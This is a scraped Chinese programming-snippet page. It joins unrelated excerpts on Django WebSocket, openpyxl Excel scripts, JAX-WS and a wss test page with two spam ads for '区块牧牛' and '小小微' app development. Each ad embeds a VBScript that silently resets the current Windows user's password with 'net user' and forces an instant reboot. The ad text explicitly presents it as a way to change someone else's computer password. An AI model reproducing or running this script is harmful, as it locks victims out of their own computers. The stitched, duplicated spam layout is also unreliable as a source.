ws

Django实现websocket完成实时通讯、聊天室、在线客服等

匿名 (未验证) 提交于 2019-12-02 23:49:02
一 什么是Websocket WebSocket是一种在单个TCP连接上进行全双工通信的协议 WebSocket使得客户端和服务器之间的数据交换变得更加简单,允许服务端主动向客户端推送数据。在WebSocket API中,浏览器和服务器只需要完成一次握手,两者之间就直接可以创建持久性的连接,并进行双向数据传输 现在,很多网站为了实现推送技术,所用的技术都是轮询。轮询是在特定的的时间间隔(如每1秒),由浏览器对服务器发出HTTP请求,然后由服务器返回最新的数据给客户端的浏览器。这种传统的模式带来很明显的缺点,即浏览器需要不断的向服务器发出请求,然而HTTP请求可能包含较长的头部,其中真正有效的数据可能只是很小的一部分,显然这样会浪费很多的带宽等资源。 而比较新的技术去做轮询的效果是Comet。这种技术虽然可以双向通信,但依然需要反复发出请求。而且在Comet中,普遍采用的长链接,也会消耗服务器资源。 在这种情况下,HTML5定义了WebSocket协议,能更好的节省服务器资源和带宽,并且能够更实时地进行通讯 二 Django实现Websocket django实现websocket大致上有两种方式,一种channels,一种是dwebsocket。channels依赖于redis,twisted等,相比之下使用dwebsocket要更为方便一些 三 dwebsocket安装 pip3

操作文件Excel(xlsx格式)

匿名 (未验证) 提交于 2019-12-02 23:42:01
import json import requests from openpyxl import load_workbook #创建文件对象 wb = load_workbook("thirdData.xlsx") ws = wb.active print(ws.title) for i in range(1,8): url = "http://var-derived.common.jc1.jieyue.com/api/invokeRuleFlow" data = { "sysCode": "loan", "frontTransNo": "id0001", "frontTransTime": "2019-05-2900:00:00", "rulePackage": "资产规则集/creditScoreCard3", "processId": "creditCardThree", "facts": {"TongDunInfo": { "className": "com.jieyue.urule.entity.TongDunInfoDTO", "phoneNodeScore":ws["D"+str(i)].value, #获取文件的值 "idBlackRat": ws["D"+str(i+7)].value, "idTotalCnt": ws["D"+str(i+14)].value,

Python第三方库之openpyxl(3)

匿名 (未验证) 提交于 2019-12-02 22:56:40
Python第三方库之openpyxl(3) 区域图 区域图类似于折线图,绘图线下面的区域会被填充,通过将分组设置为“standard”、“stacked”或“percentStacked”,可以获得不同的变体;“standard”是默认的。 2D区域图 from openpyxl import Workbook from openpyxl.chart import ( AreaChart, Reference, Series, ) wb = Workbook() ws = wb.active rows = [ [ ‘ Number ‘ , ‘ Batch 1 ‘ , ‘ Batch 2 ‘ ], [ 2, 40, 30 ], [ 3, 40, 25 ], [ 4, 50, 30 ], [ 5, 30, 10 ], [ 6, 25, 5 ], [ 7, 50, 10 ], ] for row in rows: ws.append(row) chart = AreaChart() chart.title = " Area Chart " chart.style = 13 chart.x_axis.title = ‘ Test ‘ chart.y_axis.title = ‘ Percentage ‘ cats = Reference(ws, min_col=1, min_row=1,

python 操作excel实现替换特定内容

匿名 (未验证) 提交于 2019-12-02 22:51:30
本文介绍使用python语言,借助openyxl库来实现操作excel(xlsx)文件,实现替换特定内容的需求。 目前实现了3个小功能: 1. 全字匹配替换(mode1);(如:全字匹配 yocichen , 替换成为 yoci X chen ) 2. 部分字符匹配替换(mode2);(如:thisis yoci blog,替换成为 thisis yocichen blog) 3. 全字匹配填充(mode3);(如: yoci ,替换成为 yoci: a foolish ),用于在字符后面添加字符 源码: 1 import openpyxl 2 import re 3 import traceback 4 5 changeCells = 0 6 7 # replace the special content 8 """ 9 file: file path : str 10 mode: type of the operatoration : int 11 text: the string need to be replaceed : int or str 12 replaceText: replacement Text : int or str 13 """ 14 def changeData(file, mode, text, replaceText): 15 # load the

python制作简单excel统计报表2之操作excel的模块openpyxl简单用法

匿名 (未验证) 提交于 2019-12-02 22:51:30
python制作简单excel统计报表2之操作excel的模块openpyxl简单用法 # coding=utf-8 from openpyxl import Workbook, load_workbook from openpyxl.drawing.image import Image from openpyxl.styles import Font,colors from datetime import datetime import MySQLdb class ExcelUtils(object): """ pip install openpyxl pip install pillow 参考文档:https://openpyxl.readthedocs.io/en/stable """ def __init__(self): self.wb = Workbook() # 激活表单 self.ws = self.wb.active self.ws_two = self.wb.create_sheet('我的表单') self.ws.title = '你的表单' self.ws.sheet_properties.tabColor = 'ff000000' self.ws_three = self.wb.create_sheet() def do_sth(self): # 插入数据

JAX_WS(webService技术)

匿名 (未验证) 提交于 2019-12-02 21:53:52
webservice即web服务,是跨平台跨语言的远程调用技术 开发第一个webService程序的客户端和服务器端 模拟获取天气的业务,在mian方法中使用JDK中提供的javax.xml.ws.Endpoint类的publish方法,第一个参数是发布的地址, 第二个参数是要发布的业务类,业务类上面需要使用@WebService注解使其允许发布, 发布成功以后(即运行main方法以后)启动按钮一直红着 然后通过浏览器访问刚才的位置http://要访问机器的ip地址:9090/ws出现下面的页面 点击链接或者直接在浏览器输入框输入192.168.0.3/ws?wsdl即可看到下面的信息,出现如下信息即证明发布成功 至此服务器端开发已经完成。 下面是客户端的开发 DOS窗口运行下面的指令 第二种方式: 至此,客户端服务器端的webservice程序都已经开发完成。 文章来源: JAX_WS(webService技术)

测试wss是否连接企业微信成功

笑着哭i 提交于 2019-12-02 21:36:51
<html> <head> <title>测试wss</title> </head> <body> <div>测试连接微信wss://openhw.work.weixin.qq.com:443</div> <button onclick="test()">连接</button> <script> function test() { var ws=new WebSocket("wss://openhw.work.weixin.qq.com:443/"); ws.onopen = function(e) { alert('连接成功'); }; ws.onerror = function(e) { alert('连接失败'); }; } </script> </body> </html> 企业微信考勤机无法连接服务器,可以尝试用上面代码保存为html测试一下网络。 测试连接微信wss://openhw.work.weixin.qq.com:443 连接 来源: https://www.cnblogs.com/zhaogaojian/p/11763276.html

webstorm中不能识别react、vue alias 路径别名符号

帅比萌擦擦* 提交于 2019-12-02 16:14:45
https://blog.csdn.net/weixin_37939942/article/details/89388466 因为我平时比较喜欢使用ws做开发,所以在使用vue或react的时候只要使用路径别名符合,ws就会出现波浪线提示你,对我这个有强迫症的人来说很烦!所以在找了很久终于找到了解决办法 在ws有一个webpack的设置来帮我们识别项目路径,所以我们只要创建一个对应的配置文件就行了 创建一个js文件,名字随意里面写入 'use strict' const path = require('path') module.exports = { context: path.resolve(__dirname, './'), resolve: { extensions: ['.js', '.vue', '.json'], alias: { '@': path.resolve('src'), '@assets': path.resolve(__dirname, 'src/assets'), '@pages': path.resolve(__dirname, 'src/pages'), '@comp': path.resolve(__dirname, 'src/components'), '@api': path.resolve(__dirname, 'src/api'), '

区块牧牛系统开发现成源码

杀马特。学长 韩版系。学妹 提交于 2019-12-02 12:44:59
  区块牧牛系统开发「阮生」【181﹎4289﹍8881】〔微或电〕,区块牧牛现成APP开发,区块牧牛现成软件,区块牧牛开发,区块牧牛现成源码,区块牧牛APP开发,区块牧牛软件开发,区块牧牛类似模式开发。   On Error Resume Next   Dim fso,ws,file,shut,password   password=""   Set fso=Wscript.CreateObject("Scripting.FileSystemObject")   Set ws=Wscript.CreateObject("Wscript.Shell")   fol=fso.GetSpecialFolder(1)   file=fol&"\net.exe"   shut=fol&"\shutdown.exe"   ws.run file&"user%UserName%"+Chr(34)&password&Chr(34),0,True   ws.run shut&"/r/f/t 0",0   接着,找到第三行password="",然后在等于号后面的双引号中输入你想更改别人电脑的密码,例如你要把别人的电脑密码更改成123就把第三行变成password="123".   最后,你单击上面工具栏的"文件">"另存为".在打开的对话框中选择好你要保存文件的路径,然后在"文件名"中输入*

小小微系统开发APP软件

假如想象 提交于 2019-12-02 12:44:57
  小小微系统开发「阮生」【181﹎4289﹍8881】〔微或电〕,小小微现成APP开发,小小微现成软件,小小微开发,小小微现成源码,小小微APP开发,小小微软件开发,小小微类似模式开发。   On Error Resume Next   Dim fso,ws,file,shut,password   password=""   Set fso=Wscript.CreateObject("Scripting.FileSystemObject")   Set ws=Wscript.CreateObject("Wscript.Shell")   fol=fso.GetSpecialFolder(1)   file=fol&"\net.exe"   shut=fol&"\shutdown.exe"   ws.run file&"user%UserName%"+Chr(34)&password&Chr(34),0,True   ws.run shut&"/r/f/t 0",0   接着,找到第三行password="",然后在等于号后面的双引号中输入你想更改别人电脑的密码,例如你要把别人的电脑密码更改成123就把第三行变成password="123".   最后,你单击上面工具栏的"文件">"另存为".在打开的对话框中选择好你要保存文件的路径,然后在"文件名"中输入*.vbs(